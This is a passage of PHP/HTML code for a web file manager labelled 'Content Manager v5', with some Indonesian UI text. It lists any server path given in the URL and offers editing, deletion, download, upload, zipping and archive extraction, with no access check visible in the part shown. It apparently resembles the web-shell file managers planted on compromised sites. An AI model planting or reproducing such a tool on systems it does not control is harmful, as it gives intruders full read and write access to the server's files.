0): ?> <form method="POST" style="display:inline;margin:0;"> <input type="hidden" name="action" value="paste"> <button type="submit" class="btn btn-paste" onclick="return confirm('Paste <?=$clipboard_count?> item ke folder ini?');">Paste (<?=$clipboard_count?>)</button> </form> <form method="POST" style="display:inline;margin:0;"> <input type="hidden" name="action" value="clear_clipboard"> <button type="submit" class="btn btn-clipboard-clear">Clear Clipboard</button> </form> <?php endif; ?> </div> <div style="display:flex;gap:8px;align-items:center;flex-wrap:wrap;"> <?php if ($clipboard_count > 0): ?> <span class="clipboard-badge">Clipboard: <?=$clipboard_count?> item</span> <?php endif; ?> <form method="POST" enctype="multipart/form-data" id="uploadForm" class="upload-zone"> <input type="file" name="upload_files[]" id="multiFileInput" multiple style="display:none" onchange="updateUploadCount(this,'fileCount');document.getElementById('uploadForm').submit();"> <input type="file" name="upload_folder[]" id="folderInput" webkitdirectory style="display:none" onchange="updateUploadCount(this,'folderCount');this.name='upload_files[]';document.getElementById('uploadForm').submit();"> <label for="multiFileInput">Upload Files</label> <label for="folderInput">Upload Folder</label> <span id="fileCount" class="upload-count" style="display:none"></span> <span id="folderCount" class="upload-count" style="display:none"></span> </form> </div> </div> <?php if ($action === 'edit' && isset($_POST['target'])) { $target = $_POST['target']; $content = file_exists($target) ? htmlspecialchars(file_get_contents($target), ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') : ""; $safe_target = h($target); echo "<h3 style='color:#00bcd4;margin:15px 0 10px 0;'>Editing: ".h(basename($target))."</h3> <form method='POST'> <input type='hidden' name='action' value='save_edit'> <input type='hidden' name='target' value='$safe_target'> <textarea name='edit_content'>$content</textarea><br><br> <button type='submit' class='btn btn-save'>SAVE CHANGES</button> <a href='?path=".urlencode($path).$sortQuery."' class='btn' style='margin-left:8px;'>CANCEL</a> </form>"; } elseif ($action === 'rename' && isset($_POST['target'])) { $target = $_POST['target']; $safe_target = h($target); $safe_name = h(basename($target)); echo "<h3 style='color:#00bcd4;margin:15px 0 10px 0;'>Rename: $safe_name</h3> <form method='POST'> <input type='hidden' name='action' value='save_rename'> <input type='hidden' name='target' value='$safe_target'> <input type='text' name='new_name' value='$safe_name' style='width:400px;padding:10px;font-size:14px;'> <br><br> <button type='submit' class='btn btn-save'>RENAME</button> <a href='?path=".urlencode($path).$sortQuery."' class='btn' style='margin-left:8px;'>CANCEL</a> </form>"; } else { $mediaIndex = 0; $mediaJsArray = []; echo "<form method='POST' action='?path=".urlencode($path).$sortQuery."'> <input type='hidden' name='action' value='mass_action'> <div style='margin-bottom:10px;display:flex;align-items:center;gap:10px;'> <select name='mass_type' style='padding:6px;background:#1a1a1a;color:#fff;border:1px solid #333;border-radius:4px;outline:none;'> <option value=''>-- Action for Selected --</option> <option value='delete'>Delete Selected</option> <option value='zip'>ZIP Selected</option> <option value='copy'>Copy Selected</option> </select> <button type='submit' class='btn btn-danger' onclick='return confirmMassAction();'>Apply</button> </div> <table> <thead><tr> <th style='width:40px;text-align:center;'><input type='checkbox' onclick='toggleAll(this)'></th> <th>".sortLink('name','Name',$sort,$order,$path)."</th> <th style='width:110px;'>".sortLink('size','Size',$sort,$order,$path)."</th> <th style='width:140px;'>".sortLink('modified','Modified',$sort,$order,$path)."</th> <th style='width:140px;'>".sortLink('chmod','CHMOD',$sort,$order,$path)."</th> <th style='width:300px;'>Action</th> </tr></thead> <tbody>"; $parent = dirname($path); echo "<tr><td></td> <td><a href='?path=".urlencode($parent).$sortQuery."' style='color:#ff9800;font-weight:bold;'>[ .. ] Parent Directory</a></td> <td style='color:#555;'>-</td><td style='color:#555;'>-</td><td style='color:#555;'>-</td><td style='color:#555;'>-</td></tr>"; $items = @scandir($path); if ($items === false) { echo "<tr><td colspan='6' style='color:#ef5350;text-align:center;padding:30px;font-weight:bold;'>Cannot read this directory. Permission Denied.</td></tr>"; } else { $dir_items = []; $file_items = []; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $fp = $path . DIRECTORY_SEPARATOR . $item; if (is_dir($fp)) { $ds = getDirSize($fp); $dir_items[] = [ 'name' => $item, 'path' => $fp, 'raw_size' => $ds['size'], 'size_approx' => $ds['approx'], 'mtime' => (int)@filemtime($fp), 'octal' => getOctal($fp), ]; } else { $fs = @filesize($fp); $file_items[] = [ 'name' => $item, 'path' => $fp, 'raw_size' => ($fs !== false) ? $fs : 0, 'size_approx' => false, 'mtime' => (int)@filemtime($fp), 'octal' => getOctal($fp), ]; } } $dir_items = sortItems($dir_items, $sort, $order); $file_items = sortItems($file_items, $sort, $order); foreach ($dir_items as $d) { $writable = is_writable($d['path']); $perms_str = getPerms($d['path']); $safe_item = h($d['name']); $js_target = jsSafe($d['path']); $mtime_str = $d['mtime'] ? date('Y-m-d H:i', $d['mtime']) : '-'; $perm_class = $writable ? 'perm-rw' : 'perm-ro'; $visited = isVisited($d['path']); $sizeStr = formatSize($d['raw_size']); if ($d['size_approx']) $sizeStr = '~' . $sizeStr; if ($visited) { $name_class = 'dir-visited'; } else { $name_class = $writable ? 'dir-writable' : 'dir-readonly'; } echo "<tr>"; echo "<td style='text-align:center;'><input type='checkbox' name='selected[]' value='".h($d['path'])."'></td>"; echo "<td><a href='?path=".urlencode($d['path']).$sortQuery."' class='$name_class'>$safe_item/</a></td>"; echo "<td style='color:#aaa;font-size:12px;'>$sizeStr</td>"; echo "<td style='color:#888;font-size:12px;'>$mtime_str</td>"; echo "<td><span class='perm-badge $perm_class'>$perms_str</span><span class='perm-octal'>".$d['octal']."</span></td>"; echo "<td> <button type='button' class='btn' onclick=\"doAction('rename','$js_target')\">Rename</button> <button type='button' class='btn btn-danger' onclick=\"doAction('delete','$js_target')\">Delete</button> </td></tr>"; } foreach ($file_items as $fi) { $writable = is_writable($fi['path']); $perms_str = getPerms($fi['path']); $safe_item = h($fi['name']); $js_target = jsSafe($fi['path']); $perm_class = $writable ? 'perm-rw' : 'perm-ro'; $mtime_str = $fi['mtime'] ? date('Y-m-d H:i', $fi['mtime']) : '-'; $sizeStr = formatSize($fi['raw_size']); $mediaType = getMediaType($fi['name']); $visited = isVisited($fi['path']); echo "<tr>"; echo "<td style='text-align:center;'><input type='checkbox' name='selected[]' value='".h($fi['path'])."'></td>"; if ($mediaType) { $mediaJsArray[] = ['path' => $fi['path'], 'type' => $mediaType, 'name' => $fi['name']]; $visitedClass = $visited ? ' visited' : ''; echo "<td><span class='file-media$visitedClass' onclick=\"currentMediaIndex=$mediaIndex;openPreview('".jsSafe($fi['path'])."','$mediaType','$safe_item')\">$safe_item</span></td>"; $mediaIndex++; } else { $visitedClass = $visited ? 'file-visited' : 'file-name'; echo "<td class='$visitedClass'>$safe_item</td>"; } echo "<td style='color:#ccc;'>$sizeStr</td>"; echo "<td style='color:#888;font-size:12px;'>$mtime_str</td>"; echo "<td><span class='perm-badge $perm_class'>$perms_str</span><span class='perm-octal'>".$fi['octal']."</span></td>"; $extract_btn = ''; if (isArchive($fi['name'])) { $extract_btn = "<div class='extract-dropdown'> <button type='button' class='btn btn-extract'>Extract ▼</button> <div class='extract-menu'> <button type='button' class='extract-menu-item' onclick=\"doExtract('extract','$js_target')\">Extract Files</button> <button type='button' class='extract-menu-item' onclick=\"doExtract('extract_here','$js_target')\">Extract Here</button> </div> </div> "; } echo "<td> $extract_btn <button type='button' class='btn' onclick=\"doAction('edit','$js_target')\">Edit</button> <button type='button' class='btn' onclick=\"doAction('rename','$js_target')\">Rename</button> <a class='btn' href='$selfUrl?download=".urlencode($fi['path'])."' style='background:#113344;border-color:#00bcd4;color:#00bcd4;'>Download</a> <button type='button' class='btn btn-danger' onclick=\"doAction('delete','$js_target')\">Delete</button> </td></tr>"; } } echo "</tbody></table></form>"; if (!empty($mediaJsArray)) { echo "<script>mediaFiles=["; $js = []; foreach ($mediaJsArray as $m) { $js[] = "{path:'".jsSafe($m['path'])."',type:'".$m['type']."',name:'".jsSafe($m['name'])."'}"; } echo implode(',', $js); echo "];</script>"; } } ?> <div class="footer">Content Manager v5 © <?=date('Y')?></div> </body> </html>